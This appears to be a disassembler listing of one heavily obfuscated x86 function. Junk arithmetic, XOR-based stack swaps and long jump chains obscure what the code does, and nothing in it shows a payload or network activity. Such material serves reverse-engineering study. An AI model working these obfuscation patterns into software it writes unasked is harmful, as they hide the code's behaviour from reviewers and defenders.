loc_594EC9:				; CODE XREF: sub_57DD3A+23958j
		dec	ecx
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], esi
		mov	esi, 38901896h
		or	ecx, esi
		pop	esi
		not	ecx
		add	ecx, 3BDB1AE3h
		push	ecx
		pop	eax
		pop	ecx
		jmp	loc_5995A9
; ---------------------------------------------------------------------------


loc_594EEB:				; CODE XREF: sub_57DD3A+1E6AFj
		push	11B245AAh
		mov	ecx, [esp+4Ah+var_4C+2]
		push	edx
		mov	edx, esp
		jmp	loc_5A1F69
; ---------------------------------------------------------------------------


loc_594EFB:				; CODE XREF: sub_57DD3A+1E0BEj
		xor	ebp, 43DB1100h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xor	eax, [esp+4Ah+var_4C+2]
		xor	[esp+4Ah+var_4C+2], eax
		xor	eax, [esp+4Ah+var_4C+2]
		mov	esp, [esp+4Ah+var_4C+2]
		push	ebx
		mov	ebx, 4
		add	eax, 2C793CACh
		add	eax, ebx
		jmp	loc_5934C8
; ---------------------------------------------------------------------------


loc_594F25:				; CODE XREF: sub_57DD3A+20E39j
		mov	esi, 339F5969h
		jmp	loc_59A4FF
; ---------------------------------------------------------------------------


loc_594F2F:				; CODE XREF: sub_57DD3A+12E97j
		shr	esi, 5
		dec	esi
		shr	esi, 4
		jmp	loc_595FC0
; ---------------------------------------------------------------------------


loc_594F3B:				; CODE XREF: sub_57DD3A+24366j
		sub	eax, ecx
		push	ecx
		jmp	loc_59534E
; ---------------------------------------------------------------------------


loc_594F43:				; CODE XREF: sub_57DD3A+24E6Fj
		dec	esi
		jmp	loc_590F42
; ---------------------------------------------------------------------------


loc_594F49:				; CODE XREF: sub_57DD3A+1C508j
		mov	[esp+60h+var_60], ebp
		pop	ebx
		push	[esp+5Ch+var_5C]
		pop	ebp
		push	eax
		jmp	loc_591193
; ---------------------------------------------------------------------------


loc_594F57:				; CODE XREF: sub_57DD3A+1EE15j
		or	edi, 11505075h
		xor	edi, 14CB697Dh
		xor	edi, 96A0F9Ah
		push	ebx
		push	ecx
		mov	ecx, 5EBC0520h
		and	ecx, 20E93C2Ch
		not	ecx
		jmp	loc_5A1227
; ---------------------------------------------------------------------------


loc_594F7D:				; CODE XREF: sub_57DD3A+21F58j
		add	ebp, eax
		jmp	loc_59A568
; ---------------------------------------------------------------------------


loc_594F84:				; CODE XREF: sub_57DD3A+15820j
		mov	edx, 0C1B12381h
		sub	eax, edx
		pop	edx
		xor	edi, eax
		pop	eax
		jmp	loc_5A319B
; ---------------------------------------------------------------------------


loc_594F94:				; CODE XREF: sub_57DD3A+2083Aj
		pop	eax
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_5A057B
; ---------------------------------------------------------------------------


loc_594F9E:				; CODE XREF: sub_57DD3A+24EA9j
		mov	ecx, esp
		push	edi
		mov	edi, 2FFF5891h
		jmp	loc_58EF47
; ---------------------------------------------------------------------------


loc_594FAB:				; CODE XREF: sub_57DD3A+1D10Ej
		mov	cx, word ptr [esp+4+var_4]
		jmp	loc_5935AE
; ---------------------------------------------------------------------------


loc_594FB4:				; CODE XREF: sub_57DD3A+11F79j
		inc	bl
		xor	bl, 17h
		mov	ch, bl
		pop	ebx
		xor	ch, bh
		pop	ebx
		jmp	loc_5983C9
; ---------------------------------------------------------------------------


loc_594FC4:				; CODE XREF: sub_57DD3A+1F529j
		add	cl, 0C9h
		shl	cl, 4
		xor	cl, 9Eh
		xor	cl, 80h
		push	edx
		mov	dh, cl
		mov	ah, dh
		pop	edx
		mov	ecx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		push	ebx
		mov	bl, ah
		mov	dl, bl
		jmp	loc_593A22
; ---------------------------------------------------------------------------


loc_594FFE:				; CODE XREF: sub_57DD3A+186CDj
		mov	edx, 4F5F529Ah
		sub	eax, edx
		mov	edx, [esp+4+var_4]
		jmp	loc_58FFE1
; ---------------------------------------------------------------------------


loc_59500D:				; CODE XREF: sub_57DD3A+18D8Cj
		mov	dx, word ptr [esp+4+var_4]
		add	esp, 2
		mov	bx, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A16C2
; ---------------------------------------------------------------------------


loc_595029:				; CODE XREF: sub_57DD3A+10840j
		mov	ecx, edx
		pop	edx
		add	ecx, 59710694h
		jmp	loc_59B0A8
; ---------------------------------------------------------------------------


loc_595037:				; CODE XREF: sub_57DD3A+2181Cj
		push	esp
		mov	ebp, [esp+18h+var_1A+2]
		jmp	loc_5930C6
; ---------------------------------------------------------------------------


loc_595040:				; CODE XREF: sub_57DD3A+1BD60j
		mov	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+18h+var_1A+2], eax
		mov	eax, 388A2611h
		neg	eax
		shl	eax, 2
		inc	eax
		shr	eax, 2
		shr	eax, 3
		add	eax, 0DED11AD7h
		add	ebx, eax
		pop	eax
		push	16D3h
		mov	[esp+18h+var_1A+2], ebx
		mov	ebx, 72232B13h
		sub	eax, ebx
		pop	ebx
		add	eax, ebx
		jmp	loc_596EC4
; ---------------------------------------------------------------------------


loc_59507C:				; CODE XREF: sub_57DD3A+184E3j
		mov	edi, 519BD1CEh
		add	ecx, 64A0755Ch
		sub	ecx, 55135673h
		jmp	loc_5963BC
; ---------------------------------------------------------------------------


loc_595092:				; CODE XREF: sub_57DD3A+117A1j
		push	esi
		mov	esi, 7CA55DEDh
		sub	ebp, esi
		pop	esi
		and	ebp, 49EC77FDh
		jmp	loc_5983BA
; ---------------------------------------------------------------------------


loc_5950A6:				; CODE XREF: sub_57DD3A+209DCj
		not	edi
		push	eax
		jmp	loc_5969EF
; ---------------------------------------------------------------------------


loc_5950AE:				; CODE XREF: sub_57DD3A+1444Bj
		xor	si, 4C7h
		push	bp
		mov	bp, 7DFCh
		add	si, bp
		jmp	loc_59B0D0
; ---------------------------------------------------------------------------


loc_5950C1:				; CODE XREF: sub_57DD3A+14EFBj
		mov	[esp+22h+var_22], eax
		push	edx
		mov	edx, 49D40B1Ah
		mov	eax, edx
		pop	edx
		not	eax
		and	eax, 0ADD40A9h
		push	esi
		mov	esi, 74BC0113h
		sub	esi, 0FFFFFFFFh
		add	esi, 1
		push	ebx
		mov	ebx, 133906C5h
		jmp	loc_59AC05
; ---------------------------------------------------------------------------


loc_5950EE:				; CODE XREF: sub_57DD3A+12181j
		add	edi, 4
		sub	esp, 4
		mov	[esp+50h+var_50], ecx
		push	ebx
		jmp	loc_59B6AB
; ---------------------------------------------------------------------------


loc_595100:				; CODE XREF: sub_57DD3A+248A9j
		xchg	dl, ch
		push	4134h
		mov	[esp+58h+var_58], eax
		mov	ah, 0F3h
		push	0
		jmp	loc_5A091C
; ---------------------------------------------------------------------------


loc_595116:				; CODE XREF: sub_57DD3A+1CF5Bj
		sub	ebp, 3674652Ah
		pop	esi
		push	ebx
		mov	ebx, 0
		sub	ebx, ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		jmp	loc_59B725
; ---------------------------------------------------------------------------


loc_59513C:				; CODE XREF: sub_57DD3A+1E097j
		push	[esp+60h+var_60]
		mov	ecx, [esp+64h+var_64]
		add	esp, 4
		add	esp, 4
		mov	edx, [esp+5Ch+var_5C]
		jmp	loc_59C643
; ---------------------------------------------------------------------------


loc_595150:				; CODE XREF: sub_57DD3A+18DC9j
		add	ebp, 4CFA2DE7h
		add	ebp, ebx
		sub	ebp, 4CFA2DE7h
		mov	ebx, [esp+5Ch+var_5C]
		push	edi
		jmp	loc_59F480
; ---------------------------------------------------------------------------


loc_595167:				; CODE XREF: sub_57DD3A+1FDFDj
		pop	esi
		jmp	loc_590FB2
; ---------------------------------------------------------------------------


loc_59516D:				; CODE XREF: sub_57DD3A+1A287j
		add	[esp+5Ch+var_5C], 4
		pop	eax
		add	eax, 4
		push	22AAh
		mov	[esp+5Ch+var_5C], edi
		sub	esp, 4
		mov	[esp+60h+var_60], esi
		mov	esi, 51BE04B3h
		mov	edi, esi
		pop	esi
		add	edi, 44F53077h
		and	edi, 52600F9Dh
		add	edi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 12200503h
		xor	edi, ebp
		mov	ebp, [esp+60h+var_60]
		add	esp, 4
		jmp	loc_592EA5
; ---------------------------------------------------------------------------


loc_5951BB:				; CODE XREF: sub_57DD3A+2455Cj
		shr	esi, 8
		jmp	loc_5907E3
; ---------------------------------------------------------------------------


loc_5951C3:				; CODE XREF: sub_57DD3A+23769j
		sub	esp, 4
		mov	[esp+60h+var_60], esp
		add	[esp+60h+var_60], 4
		pop	eax
		jmp	loc_5960B3
; ---------------------------------------------------------------------------


loc_5951D6:				; CODE XREF: sub_57DD3A+1F3DAj
		pop	ebx
		xor	[esp+58h+var_58], ebx
		xor	ebx, [esp+58h+var_58]
		jmp	loc_591344
; ---------------------------------------------------------------------------


loc_5951E2:				; CODE XREF: sub_57DD3A+1DD3Aj
		pop	esi
		push	eax
		pop	ebx
		mov	eax, [esp+54h+var_54]
		add	esp, 4
		jmp	loc_5A0F22
; ---------------------------------------------------------------------------


loc_5951F3:				; CODE XREF: sub_57DD3A+1C657j
		pop	edi
		push	22E5h
		mov	[esp+50h+var_50], esi
		jmp	loc_5971A9
; ---------------------------------------------------------------------------


loc_595201:				; CODE XREF: sub_57DD3A+1251Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_598179
; ---------------------------------------------------------------------------


loc_59520F:				; CODE XREF: sub_57DD3A+1D078j
		pop	ebp
		add	edi, 4B0261D4h
		jmp	loc_595661
; ---------------------------------------------------------------------------


loc_59521B:				; CODE XREF: sub_57DD3A+2473Aj
		xchg	ecx, [esp+32h+var_32]
		pop	esp
		push	41ECh
		mov	[esp+32h+var_32], ebp
		push	edx
		push	1CF40E1Fh
		mov	edx, [esp+3Ah+var_3A]
		add	esp, 4
		xor	edx, 571A0C58h
		push	esi
		mov	esi, 65381F7Dh
		add	esi, 0FE33F1Dh
		jmp	loc_5953EB
; ---------------------------------------------------------------------------


loc_59524D:				; CODE XREF: sub_57DD3A+22311j
		xor	ecx, 93EB9947h
		mov	ebp, ecx
		jmp	loc_595632
; ---------------------------------------------------------------------------


loc_59525A:				; CODE XREF: sub_57DD3A+16437j
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		imul	cx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_59412A
; ---------------------------------------------------------------------------


loc_595276:				; CODE XREF: sub_57DD3A+11812j
		add	edx, 0ADC72F9h
		add	edx, ebx
		jmp	loc_5A07D9
; ---------------------------------------------------------------------------


loc_595283:				; CODE XREF: sub_57DD3A+1BCA5j
		mov	eax, [esp+5Ch+var_5C]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+60h+var_60]
		pop	esp
		push	ecx
		jmp	loc_59879C
; ---------------------------------------------------------------------------


loc_59529F:				; CODE XREF: sub_57DD3A+1C912j
		pop	esi
		sub	esp, 4
		mov	[esp+60h+var_60], edi
		mov	edi, 38D65855h
		xor	ebp, edi
		jmp	loc_596D3A
; ---------------------------------------------------------------------------


loc_5952B5:				; CODE XREF: sub_57DD3A+1C896j
		add	ebx, 4
		xor	ebx, [esp+60h+var_60]
		xor	[esp+60h+var_60], ebx
		xor	ebx, [esp+60h+var_60]
		pop	esp
		pop	esi
		jmp	loc_59820C
; ---------------------------------------------------------------------------


loc_5952C8:				; CODE XREF: sub_57DD3A+161B2j
		pop	ebp
		add	esp, 4
		jmp	loc_590BCB
; ---------------------------------------------------------------------------


loc_5952D4:				; CODE XREF: sub_57DD3A+12A14j
		add	ecx, 254CE32Fh
		neg	ecx
		neg	ecx
		xor	ecx, 25D7693Ah
		add	esi, ecx
		jmp	loc_59F394
; ---------------------------------------------------------------------------


loc_5952EB:				; CODE XREF: sub_57DD3A+14247j
		push	edi
		mov	edi, 44EC05E6h
		add	[esp+12h+var_E], edi
		pop	edi
		pop	edi
		jmp	loc_5A0F41
; ---------------------------------------------------------------------------


loc_5952FC:				; CODE XREF: sub_57DD3A+13246j
		push	ebx
		push	esp
		jmp	loc_5A20B0
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp+64h+var_64], esi
		push	ebx
		jmp	loc_592B74
; ---------------------------------------------------------------------------


loc_595310:				; CODE XREF: sub_57DD3A+1C045j
		mov	ebp, ebx
		pop	ebx
		add	ebp, 0AD93886Ch
		add	eax, 6BB4063Ah
		add	eax, ebp
		sub	eax, 6BB4063Ah
		pop	ebp
		xchg	eax, [esp+60h+var_60]
		mov	esp, [esp+60h+var_60]
		push	759Fh
		mov	[esp+64h+var_64], ebx
		jmp	loc_5957F2
; ---------------------------------------------------------------------------


loc_595339:				; CODE XREF: sub_57DD3A+2219Cj
		pop	esp
		push	[esp+60h+var_60]
		push	[esp+64h+var_64]
		mov	ecx, [esp+68h+var_68]
		add	esp, 4
		jmp	loc_59E152
; ---------------------------------------------------------------------------


loc_59534E:				; CODE XREF: sub_57DD3A+17204j
		mov	ecx, 7FC776EAh
		xor	ecx, 16F76CE6h
		sub	eax, ecx
		pop	ecx
		mov	ecx, [esp+5Ch+var_5C]
		add	esp, 4
		add	eax, 75DD1012h
		add	eax, edx
		sub	eax, 75DD1012h
		sub	esp, 4
		mov	[esp+5Ch+var_5C], ebp
		mov	ebp, 151747C2h
		jmp	loc_592CE3
; ---------------------------------------------------------------------------


loc_595381:				; CODE XREF: sub_57DD3A+1FA99j
		mov	esi, [esp+5Ch+var_5C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+60h+var_60]
		pop	esp
		xor	edi, [esp+5Ch+var_5C]
		jmp	loc_593B99
; ---------------------------------------------------------------------------


loc_59539C:				; CODE XREF: sub_57DD3A+242C8j
		sub	ecx, ebp
		pop	ebp
		jmp	loc_59EB03
; ---------------------------------------------------------------------------


loc_5953A4:				; CODE XREF: sub_57DD3A+230CBj
		push	ebp
		mov	ebp, 4
		jmp	loc_596BA4
; ---------------------------------------------------------------------------


loc_5953AF:				; CODE XREF: sub_57DD3A+24FE5j
		push	[esp+5Ch+var_5C]
		pop	edi
		jmp	loc_5A2596
; ---------------------------------------------------------------------------


loc_5953B8:				; CODE XREF: sub_57DD3A+1BBD8j
		inc	ebp
		sub	ebp, 0C176394Ch
		add	eax, ebp
		pop	ebp
		add	eax, 5E6F09E5h
		add	eax, ecx
		jmp	loc_59EC1A
; ---------------------------------------------------------------------------


loc_5953CE:				; CODE XREF: sub_57DD3A+1CC37j
		mov	ebp, [esp+58h+var_58]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+5Ch+var_5C]
		pop	esp
		mov	eax, ebp
		push	[esp+58h+var_58]
		jmp	loc_59170A
; ---------------------------------------------------------------------------


loc_5953EB:				; CODE XREF: sub_57DD3A+1750Ej
		sub	esi, 7B7F6544h
		sub	esi, 2B1F6067h
		xor	esi, 975B9ED5h
		and	edx, esi
		jmp	loc_59CBC5
; ---------------------------------------------------------------------------


loc_595404:				; CODE XREF: sub_57DD3A+12498j
		add	ebx, edi
		sub	ebx, 40AB0079h
		pop	edi
		xor	ebx, [esp+36h+var_36]
		xor	[esp+36h+var_36], ebx
		xor	ebx, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		jmp	loc_5961F9
; ---------------------------------------------------------------------------


loc_59541E:				; CODE XREF: sub_57DD3A+232F7j
		pop	edx
		sub	eax, 4
		xchg	eax, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		mov	[esp+32h+var_32], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_598FDC
; ---------------------------------------------------------------------------


loc_59543A:				; CODE XREF: sub_57DD3A+1170Ej
		push	edi
		mov	edi, 67A17329h
		jmp	loc_59EE14
; ---------------------------------------------------------------------------


loc_595445:				; CODE XREF: sub_57DD3A+1802Dj
		inc	bh
		not	bh
		push	0
		sub	byte ptr [esp+50h+var_50], bh
		mov	bh, byte ptr [esp+50h+var_50]
		add	esp, 4
		jmp	loc_595E7F
; ---------------------------------------------------------------------------
aN_uacWsWcmrFN1	db '­-_UAc)ØWS»WcŒr¿(FÅn1ß[h-(',0 ; DATA XREF: sub_57DD3A+103DAo
		align 4
		jmp	loc_58FA4D
; ---------------------------------------------------------------------------


loc_59547D:				; CODE XREF: sub_57DD3A+13659j
		shl	esi, 7
		add	esi, 0D055A104h
		add	edx, esi
		jmp	loc_59278B
; ---------------------------------------------------------------------------


loc_59548D:				; CODE XREF: sub_57DD3A+1AE3Bj
		pop	ecx
		add	esi, 6856A453h
		mov	edx, esi
		jmp	loc_5A2972
; ---------------------------------------------------------------------------


loc_59549B:				; CODE XREF: sub_57DD3A+205EBj
		pop	ebx
		dec	eax
		and	eax, 48701FE4h
		sub	eax, 55751811h
		add	eax, 15050EB3h
		jmp	loc_598513
; ---------------------------------------------------------------------------


loc_5954B1:				; CODE XREF: sub_57DD3A+1BAB0j
		push	eax
		mov	al, bl
		push	ebx
		mov	bh, al
		mov	cl, bh
		pop	ebx
		mov	eax, [esp+46h+var_46]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A2140
; ---------------------------------------------------------------------------


loc_5954CE:				; CODE XREF: sub_57DD3A+182DBj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4Ah+var_4C+2]
		pop	esp
		push	ebx
		mov	bl, 35h
		or	dh, bl
		pop	ebx
		push	ax
		jmp	loc_592C8D
; ---------------------------------------------------------------------------


loc_5954EB:				; CODE XREF: sub_57DD3A+20B0Cj
		shl	ebp, 3
		jmp	loc_5931C5
; ---------------------------------------------------------------------------


loc_5954F3:				; CODE XREF: sub_57DD3A+21F2Dj
		not	esi
		sub	esi, 46299EDh
		xor	edx, esi
		pop	esi
		sub	ecx, edx
		pop	edx
		jmp	loc_5985CF
; ---------------------------------------------------------------------------


loc_595506:				; CODE XREF: sub_57DD3A+21B4Bj
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, 5B623843h
		push	5B623847h
		jmp	loc_5A160B
; ---------------------------------------------------------------------------


loc_595519:				; CODE XREF: sub_57DD3A+1C21Ej
		pop	eax
		jmp	loc_5979B2
; ---------------------------------------------------------------------------


loc_59551F:				; CODE XREF: sub_57DD3A+21E36j
		sub	eax, 43AC6E58h
		jmp	loc_59DD94
; ---------------------------------------------------------------------------


loc_595529:				; CODE XREF: sub_57DD3A+1EA65j
		sub	esi, ebx
		sub	esi, 121957DCh
		jmp	loc_5A26D7
; ---------------------------------------------------------------------------


loc_595536:				; CODE XREF: sub_57DD3A+1906Dj
		mov	[esp+0], ebx
		jmp	loc_59DB62
; ---------------------------------------------------------------------------


loc_59553E:				; CODE XREF: sub_57DD3A+129FCj
		mov	esp, [esp+1Ah+var_1A]
		push	edx
		mov	edx, 40h
		add	edx, edi
		mov	[edx], ebx
		pop	edx
		pop	ebx
		pop	edx
		jmp	loc_599EEE
; ---------------------------------------------------------------------------


loc_595553:				; CODE XREF: sub_57DD3A+15AF6j
		pop	ebx
		add	edx, edi
		mov	edi, [esp+54h+var_54]
		add	esp, 4
		push	89Fh
		jmp	loc_59B749
; ---------------------------------------------------------------------------


loc_595569:				; CODE XREF: sub_57DD3A+24E85j
		mov	dl, ah
		mov	cl, dl
		pop	edx
		jmp	loc_5997C5
; ---------------------------------------------------------------------------


loc_595573:				; CODE XREF: sub_57DD3A+24C33j
		mov	[esp+50h+var_50], ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 0B947445h
		xor	ecx, 60B35F8Eh
		jmp	loc_58F2B0
; ---------------------------------------------------------------------------


loc_595589:				; CODE XREF: sub_57DD3A+23AAAj
		pop	ebp
		push	442Ah
		mov	[esp+54h+var_54], eax
		mov	eax, 428C0A95h
		add	eax, 1C2E1428h
		jmp	loc_59C4CD
; ---------------------------------------------------------------------------


loc_5955A1:				; CODE XREF: sub_57DD3A+20C10j
		add	esp, 4
		push	esi
		jmp	loc_58F1CF
; ---------------------------------------------------------------------------


loc_5955AA:				; CODE XREF: sub_57DD3A+1794Ej
		pop	esi
		push	edi
		mov	edi, 53205F19h
		xor	esi, edi
		jmp	loc_591C80
; ---------------------------------------------------------------------------


loc_5955B8:				; CODE XREF: sub_57DD3A+18101j
		xor	ebx, 5FF7B66h
		push	esi
		mov	esi, 56014C85h
		jmp	loc_59C89C
; ---------------------------------------------------------------------------


loc_5955C9:				; CODE XREF: sub_57DD3A+242F0j
		xchg	edx, [esp+58h+var_58]
		pop	esp
		mov	edx, [esp+54h+var_54]
		add	esp, 4
		add	al, ch
		mov	ecx, [esp+50h+var_50]
		add	esp, 4
		sub	esp, 4
		mov	[esp+50h+var_50], edx
		push	0C4Eh
		mov	[esp+54h+var_54], ebx
		jmp	loc_5A24EE
; ---------------------------------------------------------------------------


loc_5955F7:				; CODE XREF: sub_57DD3A+18798j
		dec	dh
		not	dh
		sub	esp, 4
		mov	[esp+58h+var_58], eax
		mov	ah, 0C9h
		sub	ah, 2Fh
		inc	ah
		jmp	loc_58F4B7
; ---------------------------------------------------------------------------


loc_595610:				; CODE XREF: sub_57DD3A+1653Cj
		pop	ebp
		xor	ebp, 1FA879CAh
		jmp	loc_5948C0
; ---------------------------------------------------------------------------


loc_59561C:				; CODE XREF: sub_57DD3A+1B1E3j
		xor	edx, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], edx
		xor	edx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		push	2A01h
		jmp	loc_59B4EE
; ---------------------------------------------------------------------------


loc_595632:				; CODE XREF: sub_57DD3A+1751Bj
		pop	ecx
		push	ebx
		jmp	loc_594B0F
; ---------------------------------------------------------------------------


loc_595639:				; CODE XREF: sub_57DD3A+1E423j
		add	esp, 4
		push	1D0Ch
		mov	[esp+3Ah+var_3A], edi
		mov	edi, esp
		push	edx
		push	eax
		mov	eax, 4
		mov	edx, eax
		pop	eax
		jmp	loc_5A2933
; ---------------------------------------------------------------------------


loc_595658:				; CODE XREF: sub_57DD3A+19401j
		dec	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_5A244A
; ---------------------------------------------------------------------------


loc_595661:				; CODE XREF: sub_57DD3A+174DCj
		add	edi, 5746461Eh
		jmp	loc_59D36C
; ---------------------------------------------------------------------------


loc_59566C:				; CODE XREF: sub_57DD3A+13826j
		mov	eax, esp
		push	49ACh
		mov	[esp+18h+var_1A+2], ecx
		push	4
		jmp	loc_59CAEC
; ---------------------------------------------------------------------------


loc_595680:				; CODE XREF: sub_57DD3A+23123j
		mov	[esp+1Ch+var_1E+2], esi
		push	12F296Bh
		jmp	loc_5955AA
; ---------------------------------------------------------------------------


loc_59568D:				; CODE XREF: sub_57DD3A+21B0Aj
		mov	[esp+20h+var_22+2], ebp
		jmp	loc_593C98
; ---------------------------------------------------------------------------


loc_595695:				; CODE XREF: sub_57DD3A+13C78j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_59D787
; ---------------------------------------------------------------------------


loc_5956AA:				; CODE XREF: sub_57DD3A+1F610j
		sub	esi, 4
		xchg	esi, [esp+6+var_8+2]
		jmp	loc_590665
; ---------------------------------------------------------------------------


loc_5956B5:				; CODE XREF: sub_57DD3A+16A8Fj
		mov	[esp+40h+var_42+2], ebp
		jmp	loc_595DB0
; ---------------------------------------------------------------------------


loc_5956BD:				; CODE XREF: sub_57DD3A+14C0Dj
					; sub_57DD3A+21575j
		push	69A3h
		mov	[esp+12h+var_12], eax
		jmp	loc_5A1D5D
; ---------------------------------------------------------------------------


loc_5956CA:				; CODE XREF: sub_57DD3A+14FDCj
		add	ebp, 4
		xor	ebp, [esp+1Ch+var_1E+2]
		jmp	loc_5968FD
; ---------------------------------------------------------------------------


loc_5956D5:				; CODE XREF: sub_57DD3A+1F252j
		pop	esp
		mov	[esp+18h+var_1A+2], esi
		jmp	loc_59B602
; ---------------------------------------------------------------------------


loc_5956DE:				; DATA XREF: sub_57DD3A+1037Eo
		push	[esp+18h+var_1A+2]
		mov	eax, [esp+1Ch+var_1E+2]
		jmp	loc_592773
; ---------------------------------------------------------------------------


loc_5956E9:				; CODE XREF: sub_57DD3A+1FA0Dj
		mov	[esp+1Ch+var_1E+2], edx
		push	243Ah
		push	esp
		pop	[esp+24h+var_26+2]
		push	eax
		mov	eax, 4
		add	[esp+24h+var_22+2], eax
		pop	eax
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		push	eax
		mov	eax, 602C5093h
		push	esi
		mov	esi, 44564666h
		add	eax, esi
		pop	esi
		push	1C10h
		mov	[esp+24h+var_26+2], edx
		jmp	loc_58F1F7
; ---------------------------------------------------------------------------


loc_595725:				; CODE XREF: sub_57DD3A+18A61j
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_59A67F
; ---------------------------------------------------------------------------


loc_59572D:				; CODE XREF: sub_57DD3A+24514j
		mov	ebp, esi
		jmp	loc_58FB2B
; ---------------------------------------------------------------------------


loc_595734:				; CODE XREF: sub_57DD3A+22687j
		sub	[esp+24h+var_22+2], edx
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		push	[esp+20h+var_22+2]
		jmp	loc_5923B1
; ---------------------------------------------------------------------------


loc_595746:				; CODE XREF: sub_57DD3A+1B203j
		pop	eax
		push	7104h
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, esp
		jmp	loc_59044E
; ---------------------------------------------------------------------------


loc_595756:				; CODE XREF: sub_57DD3A+1B6AAj
		add	edx, esi
		sub	edx, 0F1E09D8h
		pop	esi
		xor	edx, 30CB594Bh
		push	edx
		inc	[esp+24h+var_26+2]
		pop	edx
		sub	edx, 97198CB8h
		add	esi, edx
		pop	edx
		pop	edi
		add	esi, 4
		xor	esi, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], esi
		xor	esi, [esp+18h+var_1A+2]
		pop	esp
		xor	al, dl
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		push	eax
		mov	al, 23h
		push	cx
		mov	ch, 8Ch
		jmp	loc_5971BB
; ---------------------------------------------------------------------------


loc_595798:				; CODE XREF: sub_57DD3A+15952j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_58F975
; ---------------------------------------------------------------------------


loc_5957AC:				; CODE XREF: sub_57DD3A+1D5C6j
		mov	ebx, 42C82D58h
		add	eax, 5C387470h
		sub	eax, ebx
		jmp	loc_5A0717
; ---------------------------------------------------------------------------


loc_5957BD:				; CODE XREF: sub_57DD3A+211F0j
		push	ebx
		mov	bh, 0Ch
		push	ecx
		mov	cl, bh
		mov	ah, cl
		mov	ecx, [esp+6Ah+var_6C+2]
		add	esp, 4
		pop	ebx
		push	4Dh
		mov	[esp+66h+var_68+2], ebx
		sub	esp, 4
		mov	[esp+6Ah+var_6C+2], eax
		jmp	loc_5A29AE
; ---------------------------------------------------------------------------


loc_5957E5:				; CODE XREF: sub_57DD3A+22F75j
		sub	esp, 4
		mov	[esp+6Eh+var_70+2], esi
		mov	esi, esp
		jmp	loc_58EBC6
; ---------------------------------------------------------------------------


loc_5957F2:				; CODE XREF: sub_57DD3A+175FAj
		mov	ebx, 6C334CF2h
		jmp	loc_59A4BC
; ---------------------------------------------------------------------------


loc_5957FC:				; CODE XREF: sub_57DD3A+15CB2j
		push	edx
		jmp	loc_58E5C1
; ---------------------------------------------------------------------------


loc_595802:				; CODE XREF: sub_57DD3A+1C344j
		pop	eax
		sub	eax, 485525BEh
		not	eax
		xor	eax, 0FF61B73Fh
		mov	edx, eax
		pop	eax
		add	[esp+4], edx
		jmp	loc_598B30
; ---------------------------------------------------------------------------


loc_59581B:				; CODE XREF: sub_57DD3A+15FAFj
		push	ebp
		jmp	loc_596DA2
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+42h+var_42]
		sub	esp, 4
		jmp	loc_5A275A
; ---------------------------------------------------------------------------


loc_59582D:				; CODE XREF: sub_57DD3A+250FAj
		push	20FEh
		mov	[esp+4Ah+var_4C+2], ecx
		push	42F63847h
		pop	ecx
		push	edx
		push	154936FDh
		pop	edx
		jmp	loc_598138
; ---------------------------------------------------------------------------


loc_595847:				; CODE XREF: sub_57DD3A+15026j
		pop	eax
		pop	ecx
		mov	eax, [esp+7Ch+var_7C]
		jmp	loc_5A13D4
; ---------------------------------------------------------------------------


loc_595851:				; CODE XREF: sub_57DD3A+1EE46j
		push	654h
		mov	[esp+80h+var_80], ebp
		jmp	loc_5A2E0C
; ---------------------------------------------------------------------------


loc_59585E:				; CODE XREF: sub_57DD3A+14AFEj
		mov	[esp+68h+var_68], eax
		mov	eax, 0BA875E8h
		mov	esi, eax
		pop	eax
		and	esi, 62CF31CFh
		push	ebp
		jmp	loc_594B6E
; ---------------------------------------------------------------------------


loc_595875:				; CODE XREF: sub_57DD3A+2257Bj
		mov	[esp+68h+var_68], edx
		jmp	loc_59840C
; ---------------------------------------------------------------------------


loc_59587D:				; CODE XREF: sub_57DD3A+242B3j
		add	ebx, 66B1306Dh
		xor	ebx, 81ABB995h
		add	eax, 313B1959h
		sub	eax, ebx
		sub	eax, 313B1959h
		jmp	loc_59DBCA
; ---------------------------------------------------------------------------


loc_59589A:				; CODE XREF: sub_57DD3A+25469j
		pop	edi
		pop	esi
		xor	edx, [esp+60h+var_60]
		jmp	loc_5A0D60
; ---------------------------------------------------------------------------


